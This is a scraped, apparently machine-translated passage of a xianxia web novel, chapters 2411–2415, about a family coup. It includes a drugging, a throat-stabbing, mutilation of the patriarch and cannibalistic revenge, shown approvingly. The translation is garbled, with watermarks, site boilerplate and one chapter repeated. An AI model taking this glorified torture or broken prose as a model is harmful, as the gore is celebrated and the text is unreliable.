    This question caused Si Mingqi to be taken aback for a while, and after a little thought, he said in a deep voice: "It should not be so peaceful, at least the previous outrageous shots against Lou''s family have caused a lot of dissatisfaction within the Pharmacist Alliance!"


    Happiness!


    Si Yicheng applauded softly, his face full of admiration, "The young master is really powerful, even more clearly than your father! But what I want to correct you is that the current situation of the Si family is definitely not so different. It''s as simple as being calm, but really falling into life and death!"


    Si Mingqi''s expression changed suddenly, but when he saw Si Yicheng''s serious expression, he swallowed the words in his mouth again.


    Because he knew that Si Yicheng would definitely go on.


    really.


    I saw Si Yicheng coldly said: "Before the Si family made a brazen attack on Lou''s family, the Pharmacist Alliance has already made a lot of criticisms. It was just frightened by the power of our Si family and did not happen, but the situation has changed again. Lou The family was saved by an outsider!"


    "At the same time, people from the Shen family also appeared, which made the situation more complicated, but if it was nothing more than that, it wouldn''t be a big deal, the most important thing was the sudden appearance of the Empress Xuantian!"


    Hearing the four words of Empress Xuantian, Si Mingqi was shocked, and suddenly understood something, his face turned pale.


    Seeing the change in his expression, Si Yicheng nodded approvingly, "It seems that you already understand what''s going on. That''s right, things are just as you think. Empress Xuantian created the existence of the entire Pharmacist Alliance with one hand. Obviously he won''t sit back and watch the Si family break the rules set by her!"


    "When she lived in seclusion before, she might have closed one eye in this matter, but now she has appeared in public, with countless pairs of eyes staring at her, if she still doesn''t react. If so, then this pharmacist alliance will be in chaos!"


    "It''s ridiculous that your father, the patriarch who was stupid and inaccessible to the outside, but shrewd in internal fighting, didn''t realize this at all. He even thought that the Shen family would get involved in this matter!"


    Speaking of this, Si Yicheng''s face showed a strong sarcasm, "Did he never think that if it is the Shen family who wants to make a move, then it is possible for the Si family to survive until now?"


    This analysis made Si Mingqi feel fascinated, and it was only a moment later that he reluctantly suppressed his mind and asked in a deep voice.


    "Why are you telling me these things? Shouldn''t these words be addressed to the Patriarch?"


    Unexpectedly, Si Yicheng shook his head, "Do you think he is still the Patriarch?"


    This sentence was like a shock to the sky, making Simingqi''s hair stand upright, "What do you mean?"


    Si Yicheng smiled, "It''s very simple. There are only two roads in front of our Si family. One is to lie down completely. When the time comes, whether it is the Empress Xuantian coming to the door or someone from the Shen family, there will be no resistance!"


    "Until they vent their anger, the entire Si family is estimated to suffer heavy losses, and even you and I may not be protected."


    "As for the second..." Si Yicheng''s face showed a very cold smile.


    "Everything can actually be discussed, especially I believe that Empress Xuantian will never kill innocent people indiscriminately. All she wants is for Sijia to give a reasonable explanation so that the rules of the Pharmacist Alliance will not collapse! "


    Si Mingqi''s body was trembling slightly, because he was as smart as him, and he had already thought of what the reasonable explanation Si Yicheng had said.


    Seeing this scene, Si Yicheng''s expression of admiration couldn''t help becoming stronger.


    "The eldest master is really smart. That''s right, this reasonable explanation lies with the lord of the family!"


    "You must know that the originator of the Lou��s incident is the Patriarch, the young master later on your journey was also at his instruction, so it can be said that the origin of all these things came from him, and as long as he is handed over, then I believe that Empress Xuantian will not embarrass our family too much!"


    "This is also the safest path for the Si family right now! Now...do you understand?"


    Si Yicheng looked at Si Mingqi with a smile.


    However, Si Mingqi only felt cold all over.


    Because of this seemingly harmless Si Yicheng, the city government and calculations are simply too deep.


    In fact, before these words, even he hadn''t realized the desperate situation that Si family was about to face.


    This Si Yicheng not only realized it, but even figured out how to solve it.


    The key is that no matter how you look at it, this method reveals an absolute coldness.


    As the elder of the Si family, he can calculate even his own Patriarch.


    After calculating him, will I end up in the same way?


    At this moment, Si Yicheng seemed to see Si Mingqi��s concerns, and said with a chuckle: "Young Master, don��t be so scared. No matter how you say this Si family, it is inherited from your line. I can��t hold it in my hands. of!"


    "Moreover, what I just said is for the sake of the long-term interests of the Si family. Although unfeeling, it is the safest and most reliable road right now!"


    "If it is difficult for the young master to give up the relationship between father and son, UU reading or simply feel that I am coveting the position of the head of the family and disturbing the situation, then I can leave by myself now! Only before I leave I hope that the young master If you can think about it, our company will only have one night at most!"


    With that, Si Yicheng turned and walked into the darkness.


    One step, two steps...


    When he was about to step into the darkness completely, a slightly trembling voice came from behind him.


    "Wait!"


    A cold smile appeared on Si Yicheng''s face for an instant, then turned his head and said to Siming Qi.


    "Master believe me, you will never regret calling me this time, because after tonight, you will be..."


    "The new master of the Si family!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2411 Yin Ren), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2412： design

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    Si Daoyuan drank the boring wine one sip, and the cry of a woman from the side made his face so gloomy that it could drip water.


    "Uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu, he died like this, what can I do!


    Sitting across from Si Daoyuan was a woman with scattered temples, hiding her face and crying at this moment.


    Si Daoyuan was very upset, and slammed the wine glass on the table, "Okay, don''t cry, it''s annoying to cry!"


    The woman stopped her grief and raised her head to look at Xiang Si Daoyuan, "Master, is Guangzhong so dead in vain?"


    The speaker was Si Guangzhong''s biological mother, Si Daoyuan''s favorite concubine, named Nian Shuang.


    At this moment, Si Guang was loyal, and as a mother, she was naturally sorrowful.


    Si Daoyuan frowned and sighed slightly, "I am also very sad about Guangzhong''s death, but he died in the hands of the Shen family. What else?"


    Nian Duan looked resentful, "But why did the fellow Siming Qi come back safe and sound? He has always been at odds with Guangzhong. There must be an ulterior secret in it. The master might as well kill him directly. Guangzhong revenge!"


    Si Daoyuan sneered, "Of course you don''t need to worry about this, but now the limelight is tight and it is not suitable for hands-on. After a while, after the wind has passed a little bit, I will naturally find a way to make him pay for Guangzhong!"


    The words are full of hatred, and there is no bit of love as a father.


    Hearing what he said, both sides were satisfied, and they filled Si Daoyuan with a glass of wine.


    "Master, I heard that something went wrong with the Lou family? How could the Shen family suddenly intervene?"


    Si Daoyuan sighed for a long time, "Who knows? I am also worried about this. If the Shen family really interfered in this matter, it would be difficult to handle!"


    "What can be difficult? The big deal is that we give up on our own initiative." Nian Shuang said.


    "Hehe, how simple it is! I think that the Shen family is a wealthy family born out of the world, not even inferior to the ancient hundred schools at all. They suddenly took action, obviously not just for this matter!" Si Daoyuan looked sad! Said.


    "Master, don''t worry too much. The so-called car must have a way to the front of the mountain. As one of the ten members of the Pharmacist Alliance, our family is a bit influential. Then the Shen family has to weigh it even if it really wants to do it!" Nian Shuang relieved Tao.


    Si Daoyuan chuckled softly when he heard the words, and then took the thoughts in his arms, "Speaking of which, you are sweet!"


    Just as the couple was discussing in the room, there was a voice asking for advice from outside the door.


    "Patriarch, see you with growing old and old!"


    "Oh? He''s here? Let him in!" Si Daoyuan immediately stood up and said very eagerly.


    For Si Yicheng, he can be said to be extremely dependent. He usually makes decisions for many things, especially now that this matter needs to be discussed carefully.


    Nian Shuang on the side hurriedly sorted out the scattered temples. Just after sitting down, Si Yicheng walked in with a smile on his face.


    "I have seen the Patriarch and the Second Lady!"


    "Yeah! Sit down, Yicheng! But has things changed?"


    Si Yicheng sat on the chair and drank a sip of tea without rushing, and then said lightly: "Patriarch, stay calm, don''t worry, I''m here to talk about this."


    "Oh oh oh no hurry, no hurry, come here, serve wine and food!"


    In the blink of an eye, a sumptuous banquet was set up.


    After the two were seated, this Nianshuang poured wine and tea on the side.


    Just after the third round of the wine tour, Si Daoyuan said impatiently: "Yicheng, tell me what''s going on? Is it clear what I asked you to investigate?"


    Si Daoyuan was not a fool either, and naturally understood that this matter would not be that simple, so he specifically asked Si Yicheng to help him investigate the specific cause of Si Guangzhong''s death.


    Hearing this, Si Yicheng smiled slightly and put down the wine glass, "Naturally, it has been investigated clearly. This matter is indeed not related to him. Master Guangzhong died because of the leaked sword energy!"


    Si Daoyuan was startled slightly, as for this Nian Shuang, his expression changed suddenly.


    "How is it possible? Then why did so many people go, but he came back alone? I don''t care, he just has to pay for my loyalty!"


    "Well, since the second lady has spoken like this, it will not be too late to find someone to kill him after the matter is over." Si Yicheng wrote lightly, and then looked at Si Daoyuan.


    "Patriarch, this is not the main reason for me this time!"


    "Oh? Why is that?"


    "Do you know why the Shen family suddenly appeared here?"


    Si Daoyuan immediately sat up straight and asked with piercing eyes, "Because of what?"


    "The Shen family did not come for the business of our Si family and Lou family. Their real purpose is only one, and that is the boy named Xue An!"


    Si Daoyuan was shocked, "Is this true?"


    "It''s true!"


    Si Daoyuan felt a big rock hanging in his heart crashing to the ground, and he couldn''t help laughing three times under his great heart.


    "Good, good! No matter what it is for, as long as they are not here for our company''s family! Come, you have worked hard, I will toast you!"


    Si Yicheng smiled and drank the wine in the glass, then cleared his throat, and then said: "The matter has been found out. The surnamed Xue is actually the young man from the military strategist who was passed on some time ago!"


    "Oh?" Si Daoyuan put down his wine glass.


    Although they were far apart, he had heard of what happened to the military strategist.


    "Then what''s going on behind? Why is the Shen family looking for trouble?"


    "I don''t know, but I heard that this young man actually holds a sword heart of the Shen family, so the Shen family naturally needs to investigate!"


    Si Daoyuan''s face also changed when he heard this.


    The importance of the Shen family''s Jianxin is naturally undoubted. In addition to this battle, this Xue An actually killed all the people sent by the Shen family. Under the superposition of the two, this matter is estimated to be even more difficult.


    "Hey, if the military strategist is involved in this, it will be even more complicated!" Si Daoyuan took a cold breath. UU reading www. uukanshu.com


    "Who said no, but no matter what, these things have nothing to do with our Si family!" Si Yicheng smiled.


    "Yes, yes, that''s it, it''s all right. It''s better to be mature and respectful. Fortunately, I didn''t act rashly after listening to your advice at the time! Come and have another drink."


    It''s another glass of wine.


    For some reason, Si Daoyuan seemed a little overwhelmed with alcohol today, but after a few glasses of wine, his face was already red, but his expression was very excited.


    "Yicheng, if this is the case, do you still have a chance to get something like Loujia?" When he said this, Si Daoyuan''s face was full of greed.


    "Why?" Si Yicheng''s eyes flashed with an imperceptible cold light, and his tone was calm: "That thing... Patriarch, do you still miss it?"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2412 Design), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2413： Hands-on

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    "How could you forget it? You don''t know the process of this battle. If the kid surnamed Xue didn''t rely on the armor, it would be very difficult to win, and this armor is obviously provided by the Lou family. It came out, doesn''t this just show that the Lou family''s thing is powerful!"


    Si Yicheng chuckled, "This isn''t impossible, it just needs to be planned carefully!"


    "Hahaha I know you can''t be troubled by any problem, okay! As long as there is hope, come on, let''s continue drinking!"


    Si Daoyuan, who was conscious of his peace of mind, seemed extremely excited, and even left behind the grief of the death of his son, drinking one cup after another.


    Si Yicheng''s interest is obviously quite high today. In the past, he always drank wine with little taste, but today he is uncharacteristically. Not only does he dry the cup, but he also takes the initiative to toast.


    In such a situation of only an hour or two, Si Daoyuan was so drunk that he lay down on the table unconsciously.


    Although Si Daoyuan''s cultivation base is not too high in this outer sky, he is not so drunk as he is now.


    So even this little concubine feels very strange.


    "Elder Secretary, why is the master drunk so fast today?" Nian Shuang asked with a smile.


    But the next second, she won''t be able to laugh.


    Because at this moment, Si Yicheng slowly turned his head, and there was no more smile on his previously smiling face, and his eyes were even more cold.


    "what did you say?"


    Nian Shuang''s heart squatted, and then forced a smile: "I mean, how could the master be drunk so fast today? It''s weird!"


    "Is it weird? I don''t think it''s because..." A strange look flashed in Si Yicheng''s eyes.


    "This is the result I want!"


    Nianshuang''s eyelids jumped frantically, because she felt a deep chill from Si Yicheng''s words.


    "What...what do you mean? Elder Secretary, why am I a little bit confused?" Nian stammered.


    Si Yicheng didn''t look at her, but stared coldly at Si Daoyuan who was lying on the table, and said in an indifferent tone: "A pack of Xiaoyao San from the venomous old man from Thousand Chance Valley is enough to bring down a behemoth. It��s commendable that you can persist until now and die of drunkenness!"


    As he said, he slowly turned his head to rush to Nianshuang and smiled, "What do you think of the second lady?"


    But Nian Shuang couldn''t laugh anymore at this time. Not only couldn''t he laugh, he was almost crying.


    "Si...Elder Secretary, you...what are you...what are you doing?" Nian Shuang said with a cry.


    "What are you doing? Naturally to save the entire Si family!"


    As soon as the voice fell, there was a sound of footsteps coming from outside the hall, and then Siming Qi stepped in.


    After seeing him, Nian Shuang understood a lot in an instant, and Huo Ran got up, staring at Si Yicheng with wide eyes.


    "You...you colluded with this rebellious son to plot a bad idea, in the end are you..."


    puff!


    Before she could finish her words, a dagger emerging from her throat blocked all the words.


    Nian opened her wide mouth, blood quickly filled her mouth, and then slipped from the corner of her mouth, and her eyes were filled with infinite horror and disbelief.


    It seemed that she had never thought that Si Mingqi would dare to attack herself.


    But Siming Qi looked like he was killing a pig or dog. With a sudden flip of his wrist, the dagger was stirred fiercely in Nian Shuang''s throat.


    After Shengsheng cut out a big hole enough to transmit light, Si Mingqi pulled out the dagger in his hand.


    With a plop, Nian Shuang''s body crashed to the ground.


    "Well, the eldest master is really a great person, and his shots are really quick and neat!" Si Yicheng exclaimed with high-five.


    However, Siming Qi didn''t even have a trace of expression on his face, "It''s just a **** who relies on the power of his family to show off his might. Killing her is no effort at all!"


    While talking, Siming Qi wiped the dagger in his hand, and came to Si Daoyuan, who was asleep at the table.


    "The most important thing now is, what should he do?"


    Si Yicheng smiled, "How to deal with him, I believe the young master has already decided in his heart!"


    "I have fulfilled my promise, so what to do next is a matter between your father and son!"


    Siming Qi nodded, "Okay!"


    As soon as a word fell, he suddenly waved the dagger in his hand and cut it down according to Si Daoyuan.


    The speed is as fast as a sharp flash.


    However, Si Yicheng didn''t even blink his eyelids, because he believed that Si Mingqi definitely made his move.


    Although he hated Si Daoyuan a lot, he would never kill him now.


    really.


    The dagger didn''t run towards Si Daoyuan''s key point, but just hit an acupuncture point.


    puff!


    Accompanied by a muffled sound of flesh and blood being cut by a sharp blade.


    Blood splashed out, and then Si Daoyuan''s body trembled violently.


    But even so, he still did not wake up under the dual effects of the power of medicine and the power of alcohol.


    Si Yi was prejudiced, but couldn''t help sighing, "Destroy all his cultivation? It seems that your hatred is really strong enough!"


    While speaking, Si Mingqi waved the dagger in his hand repeatedly, causing a symphony of flesh and blood to sound in the room.


    With blood splashing, Siming Qi''s face was full of crazy colors.


    at last.


    After the last stabbing fell, Siming Qi took a half step back, panting slightly.


    Looking at Si Daoyuan again, his whole body has been drenched with blood. The key is that the aura on his body is rapidly wilting and dissipating with the wounds surging out with blood.


    Finally, when the last ray of aura also dissipated.


    Si Daoyuan groaned in pain, and then slowly woke up.


    His memory still remained in the picture before drunk, and the pain in his whole body made him feel like he had a nightmare.


    "What''s the matter? How did I become so drunk?" Si Daoyuan groaned.


    Si Yicheng smiled slightly, UU reading "Sir, I''m sorry, your son seems to have a lot of opinions on you, don''t blame me, after all, we also think for the long-term sake of the Si family!"


    Hearing this, Si Daoyuan was shocked all over, only then did he notice that his whole body was contaminated with blood, and he couldn''t help but exclaim.


    "You...what do you want to do? Ahhhhhhh..."


    The following words came to an abrupt end, turning into a painful sob, because at this moment, Siming pierced Si Daoyuan''s mouth with a knife, and stirred hard.


    The dagger chopped off the teeth and tongue in his mouth.


    His eyes widened instantly, and he looked at Siming Qi in disbelief as if he had known him for the first time.


    Siming Qi had a cold face, "You don''t have to look at me with this kind of eyes, if it wasn''t for handing you over, now you are dead!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2413 Hands-on), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2414： Re-establish the rules

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    "Mom, what did Dad do?" I think about it.


    "Yeah, why hasn''t Dad come back?" Nian Nian agreed.


    An Yan chuckled lightly, "Dad, he''s going to do business, he should be back soon!"


    "But why did I hear Sister Ao Shu say that my father left with a very powerful aunt? Will he be in danger?" Nian Nian worried.


    Before An Yan could answer, Mo Changhong smiled freely, "Xiao Niannian, don��t worry. My Lady Empress is a first-class existence in the Pharmacist Alliance, and she helped your father this time. So Your father will never be in danger!"


    "But they have been away for several days, where did they go?" Niannian said with a pouting mouth.


    At this moment, Xiao Hulu, who had been taciturn since the two of Xue An left, suddenly said, "I''m coming back soon!"


    "Huh? What''s coming back soon?" Think about it and ask.


    "They are coming back soon!" Xiao Hulu said calmly.


    "how do you know!"


    "Because I can feel the armor on his body, at this moment he is quickly approaching here!"


    As soon as the voice fell, two radiances crossed the sky at a very fast speed and landed in the courtyard.


    After the figure appeared, it was Xue An and Jiu Tian Xuan Nu.


    As soon as I saw them two, Miss Miss immediately rushed up.


    "Dad! You are finally back!"


    "Dad, are you all right!"


    Seeing the two daughters with worried faces, Xue An smiled slightly and rubbed their little heads gently.


    "Don''t worry, Dad is okay!"


    At the same time, Mo Changhong and Cha Wenliang also came one after another to meet the Nine Heavens Profound Girl.


    "I have seen the Empress!"


    Mo Changhong is a subordinate of the Nine Heavens Profound Girl, needless to say.


    Cha Wenliang saw the ceremony because of his respect for the Nine Heavens Profound Girl.


    After all, she created the existence of the Pharmacist Alliance.


    Jiutian Xuannv waved her hand, and then smiled at Cha Wenliang, "Mr. Guizhen is too polite, just call me Xuannv!"


    "I dare not dare, the lady emperor is the founder of the pharmacist alliance, and naturally deserves the title of empress!"


    Nine Heavens Profound Girl didn''t insist anymore, she just smiled, and then she cast her gaze to Lou Yingshi who was standing in the distance.


    "Are you the only orphan girl left in the Lou family?"


    Lou Yingshi trembled, and hurriedly stepped forward to kneel on the ground, then lowered her head deeply, and said in a choked tone: "Yes!"


    The Nine Heavens Profound Girl nodded, "Don''t worry, I already know about this, so I naturally want to give you an explanation!"


    "Thank you, Madam Empress, thank you!" Lou Yingshi banged his head, shaking with excitement.


    Because anyone who is a member of the Pharmacist Alliance does not know the name of the empress?


    It can be said that she is above the top ten families of the Pharmacist Alliance and many masters.


    With an identity like Lou Yingshi, she had only looked up to it before, and she didn''t even have the qualifications to be close.


    Now it is such a big man who has personally contributed to Lou''s family, and the **** hatred of that Lou''s family is really hopeful!


    Nine Heavens Profound Girl waved her hand, a soft force lifted Lou Yingshi from the ground abruptly, and then sighed lightly.


    "You don''t have to thank me, this is what I should do, but I was too lazy to get out of my head because of many things later on. As a result, these families have become more and more reckless and reckless! Speaking of which, there is also my responsibility.


    After all, Jiu Tian Xuan Nu turned her head and nodded at Mo Changhong.


    "Send a summoning order!"


    "Yes!"


    Mo Changhong immediately took out a peculiar jade slip from the portable space, and crushed it in one hand.


    Click!


    In the jade slip, a brilliance rose to the sky, and then exploded in the air like fireworks.


    Every beam of light exploded went straight to all sides.


    Suddenly, the Quartet vibrated.


    The guards of the nearest medicated food shop rushed over immediately. As for the guards and forces in other places, the moment they received the notice, they left everything they had on hand and rushed here at an extremely fast speed.


    There is no other reason, it is because the Nine Heavens Profound Girl once set a rule, as long as the summoning order is issued, all the members under her staff must rush here immediately.


    Cut off the order!


    Although this rule has not been used once since its establishment until now, these people still dare not slack in the slightest. After all, it is not a joke for those who violated the order to cut the four words.


    Not only that, but many people are faintly excited.


    Because this obviously proves that the Lady Empress will make big moves.


    However, in an hour''s situation, the members who were near were already in place.


    Only then could I see how terrifying the Nine Heavens Profound Girl''s potential strength was.


    Because although only half of the people came, the number of people has already densely occupied most of the sky in Yangcheng County.


    Such spectacular sights also made many onlookers take a breath.


    The Nine Heavens Profound Girl and Xue An looked at each other, and then the Nine Heavens Profound Girl flew up and came to the sky.


    As soon as she saw her appearance, all the people here bowed together.


    "I have seen the Empress!"


    Jiu Tian Xuan Nu''s complexion was calm, "Recently, the Si family has acted recklessly and bitterly assassinated the Lou family, which belongs to the Pharmacist Alliance. She has already violated the rules. I have ordered you to wait with me to conquer. Any objections?


    "Here!"


    The answer to her was a uniform promise.


    Jiu Tian Xuannv nodded with satisfaction.


    "Very well, that''s the case, then we will set off now!"


    Just when Jiutian Xuannv and Xue An''s group led a mighty army to Si''s house.


    The atmosphere in Si''s family has become very **** and weird.


    After a whole night of killing, the subordinates loyal to the original Patriarch Si Daoyuan have disappeared.


    The rest were shy people who were horrified and trembling by this sudden change.


    Even the members of the elders group dare not say a word.


    Because of the last elder who uttered the questioning words, the body was still nailed to the pillar in the hall.


    As a result, the seemingly invulnerable family power collapsed overnight and vanished.


    And the new high-ranking Si Mingqi has won everyone''s approval with the momentum of destroying the dead.


    Those who don''t approve are already dead.


    Once upon a time, this unworthy concubine finally gained the power of Xuanhe.


    But even in this situation, Siming Qi still remained sober, without the slightest arrogance and complacency.


    Because he knows that everything is far from over.


    The real test is yet to come.


    Compared with his indifference, Si Yicheng is much more active.


    Although he didn''t move a finger during the whole night of killing, anyone who really knew the inside knew that he was behind all the plans.


    It can be said that at this moment he has truly ascended to the pinnacle of power and became the uncrowned king of the Si family.


    But he didn''t feel proud for long, because before noon, the Nine Heavens Profound Girl led a mighty army and arrived.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2414 Re-establishing the Rules), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2415： This is what your secretary said? ...

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    Seeing Si Daoyuan whose muscles and veins were severed and his tongue had been cut off, Xue An raised his eyebrows slightly.


    "This is your Patriarch?"


    Si Yicheng stepped forward with a smile on his face, "Yes! This is our Patriarch! It is also an explanation from our new Patriarch to you and the Empress!"


    The audience was silent.


    In fact, many of the Si family at this moment are still in a state of bewilderment.


    The shocking changes that occurred in the study last night and the killings that lasted all night put a lot of people''s spirits under great pressure.


    And this pressure finally reached its limit after seeing the overwhelming conquest army.


    So even if Si Daoyuan, who was once invincible, was lying on the ground in such a miserable manner, he could not attract anyone''s sympathy.


    The Nine Heavens Profound Girl did not speak.


    In fact, she hadn''t said a word since she came to this Si''s house, and all the negotiations were carried out by Xue An.


    This is why Si Yicheng treats him so respectfully.


    Xue An glanced at the smiling Si Yicheng in front of him, and then turned his gaze to Siming Qi not far away.


    For this Simingqi, he is not unfamiliar.


    At first, the men with eye circles and others tried to intercept Lou Yingshi, and the main messenger behind the scenes was Siming Qi.


    But he didn''t expect that in just a few days, he would become the current Patriarch of the Si family.


    As for what happened in this, one or two can be guessed from the numb expressions on the faces of the Si family members present.


    Siming Qi naturally felt Xue An''s gaze, and he trembled all over, then lowered his head deeply.


    Not only because of the powerful man who is full of the sky now, but more importantly, he recalled the shocking battle in Yangcheng County.


    The majestic sword intent that almost cut the entire planet apart was a nightmare he lingered until now.


    Feeling Si Mingqi''s avoidance, Xue An smiled faintly, and then waved to Lou Yingshi, who was already excited and tearful in the crowd.


    Lou Yingshi stepped forward immediately, "My lord!"


    Xue An pointed to Si Daoyuan on the ground, "This person is the original Patriarch of the Si family, now he has handed it over to you!"


    Lou Yingshi clenched her teeth and nodded, "Yes!"


    Then she walked forward trembling, and when she came to Si Daoyuan, she shouted in a crying voice.


    "Si Daoyuan, you old thief, have you ever thought that there will be today?"


    Hearing her shout, Si Daoyuan trembled all over, and his eyes that had been tightly closed slowly opened.


    When he saw that the orphan Lou Yingshi standing in front of him was the only orphan girl left in the Lou family, he couldn''t help showing infinite panic and despair in his eyes.


    Because he knows very well that if anyone in the world hates him most, it must be the Lou family.


    So he struggled madly, seeming to want to stay away from Lou Yingshi.


    But how can this be avoided.


    Lou Yingshi, who was already blushing, took out his pocket knife and cut off one of Si Daoyuan''s ears.


    Blood gushed out, and Si Daoyuan let out a vague wailing.


    Lou Yingshi grabbed the falling ear, threw it into his mouth, and started chewing.


    Creak creak.


    The raw meat was torn off by the teeth, making a toothy squeak, while the blood dripped down the corners of Lou Yingshi''s mouth.


    Eat its meat raw!


    This is Lou Yingshi''s hatred towards Si Daoyuan.


    But this was just the beginning. In the next quarter of an hour, Lou Yingshi cried and started to kill the culprit in her mind that was ruining Lou''s family.


    After the killing, the dagger in Lou Yingshi''s hand cried to the ground, and then fell to her knees and let out a cry of sorrow.


    "Dad, mom, elder sister, the culprit who harmed our Lou''s family in the first place has now been punished, and our Lou''s revenge...revened!"


    After speaking, Lou Yingshi burst into tears, and she couldn''t cry.


    The members of the Si family were silent.


    The **** scene just now made many members of the Si family horrified.


    But they couldn''t even say a word.


    After all, this incident was indeed the first action of the Si family, and it caused a devastating blow to the Lou family who had no prior knowledge.


    No matter how the orphan of the Lou family treats Si Daoyuan, she can''t be too much.


    At least Si Yicheng thought so, so he looked at it with a smile, without even the slightest touch in his eyes.


    At the same time, after crying for a while, Lou Yingshi turned and knelt down to the Nine Heavens Profound Girl and Xue An, and said sincerely.


    "Thank you for the empress and Mr. Xue''s help. Without your help, the **** and deep enmity of my Lou family will never be seen again!"


    As she said, she banged her head.


    Xue An waved his hand and said lightly: "It doesn''t have to be the case, since I said I want to help you, I will definitely help to the end!"


    As he said, Xue An turned his head to look at Si Yicheng, showing two tiger teeth, and said with a meaningful smile: "Does this elder think I''m right?"


    Si Yicheng chuckled in his heart, but the smile on his face remained the same.


    "Yes, what the lord said is absolutely true!"


    "Then since I want to help to the end, now do you think this Lou family''s hatred is completely reported?" Xue An said lightly.


    A look of panic flashed in Si Yicheng''s eyes, and he said with a strong smile.


    "My lord, I don''t know what you mean by this, but the original Patriarch Si Daoyuan did his own way to attack the Lou family. Now he has fallen, and the subordinates who followed him have been bloodbathed. , Isn''t this complete?"


    "Oh? According to you, all those involved in this matter have already received their due punishment?"


    "Yes!"


    Xue An stared at this Si Yicheng and suddenly laughed.


    "The elder''s name?"


    "Don''t dare, the villain''s name is Si Yicheng!"


    "What position is in this division''s family?"


    "There is no specific job, just idle personnel!" The Secretary answered in pairs.


    But at this moment, Xue An said abruptly: "So is it your duty to make suggestions for the Patriarch?"


    The question made Simingqi slightly change.


    Si Yicheng looked as usual, "My lord, I don''t know what you are talking about!"


    Xue An chuckled, but did not respond to his words, but turned to face the Nine Heavens Profound Woman Dao who hadn''t spoken from beginning to end.


    "My Empress, do you think the explanation given by Si Jia is enough?"


    Jiutian Profound Girl shook her head, "Not satisfied!"


    "Yes, I am not satisfied either!"


    "A dead person can''t speak. Will you consciously push all the guilt on Si Daoyuan alone to wash away the blood on your hands?"


    Xue An''s face is ridiculed, UU reading www.uukanshu. com "You are too naive to think!"


    "Today, the Empress and I came in such a huge battle to make your family pay the price of blood!"


    Hearing this, Si Yicheng''s discoloration changed, and he could no longer keep his consistent smile.


    His biggest reliance before was that the Nine Heavens Profound Girl would not kill the entire Si family anyway.


    At most, it is just to punish the first evil and frighten others.


    That''s why he was so calm and relaxed.


    Hearing what Xue An meant now, it seemed that he was going to kill the entire Si family.


    How could this not make him horrified.


    In order to facilitate the next reading, you can click on the "Favorites" below to record this time (Chapter 2415 is this your secretary''s account?) Reading records, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2415： This is what your secretary said?

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    Seeing Si Daoyuan whose muscles and veins were severed and his tongue had been cut off, Xue An raised his eyebrows slightly.


    "This is your Patriarch?"


    Si Yicheng stepped forward with a smile on his face, "Yes! This is our Patriarch! It is also an explanation from our new Patriarch to you and the Empress!"


    The audience was silent.


    In fact, many of the Si family at this moment are still in a state of bewilderment.


    The shocking changes that occurred in the study last night and the killings that lasted all night put a lot of people''s spirits under great pressure.


    And this pressure finally reached its limit after seeing the overwhelming conquest army.


    So even if Si Daoyuan, who was once invincible, was lying on the ground in such a miserable manner, he could not attract anyone''s sympathy.


    The Nine Heavens Profound Girl did not speak.


    In fact, she hadn''t said a word since she came to this Si''s house, and all the negotiations were carried out by Xue An.


    This is why Si Yicheng treats him so respectfully.


    Xue An glanced at the smiling Si Yicheng in front of him, and then turned his gaze to Siming Qi not far away.


    For this Simingqi, he is not unfamiliar.


    At first, the men with eye circles and others tried to intercept Lou Yingshi, and the main messenger behind the scenes was Siming Qi.


    But he didn''t expect that in just a few days, he would become the current Patriarch of the Si family.


    As for what happened in this, one or two can be guessed from the numb expressions on the faces of the Si family members present.


    Siming Qi naturally felt Xue An''s gaze, and he trembled all over, then lowered his head deeply.


    Not only because of the powerful man who is full of the sky now, but more importantly, he recalled the shocking battle in Yangcheng County.


    The majestic sword intent that almost cut the entire planet apart was a nightmare he lingered until now.


    Feeling Si Mingqi''s avoidance, Xue An smiled faintly, and then waved to Lou Yingshi, who was already excited and tearful in the crowd.


    Lou Yingshi stepped forward immediately, "My lord!"


    Xue An pointed to Si Daoyuan on the ground, "This person is the original Patriarch of the Si family, now he has handed it over to you!"


    Lou Yingshi clenched her teeth and nodded, "Yes!"


    Then she walked forward trembling, and when she came to Si Daoyuan, she shouted in a crying voice.


    "Si Daoyuan, you old thief, have you ever thought that there will be today?"


    Hearing her shout, Si Daoyuan trembled all over, and his eyes that had been tightly closed slowly opened.


    When he saw that the orphan Lou Yingshi standing in front of him was the only orphan girl left in the Lou family, he couldn''t help showing infinite panic and despair in his eyes.


    Because he knows very well that if anyone in the world hates him most, it must be the Lou family.


    So he struggled madly, seeming to want to stay away from Lou Yingshi.


    But how can this be avoided.


    Lou Yingshi, who was already blushing, took out his pocket knife and cut off one of Si Daoyuan''s ears.


    Blood gushed out, and Si Daoyuan let out a vague wailing.


    Lou Yingshi grabbed the falling ear, threw it into his mouth, and started chewing.


    Creak creak.


    The raw meat was torn off by the teeth, making a toothy squeak, while the blood dripped down the corners of Lou Yingshi''s mouth.


    Eat its meat raw!


    This is Lou Yingshi''s hatred towards Si Daoyuan.


    But this was just the beginning. In the next quarter of an hour, Lou Yingshi cried and started to kill the culprit in her mind that was ruining Lou''s family.


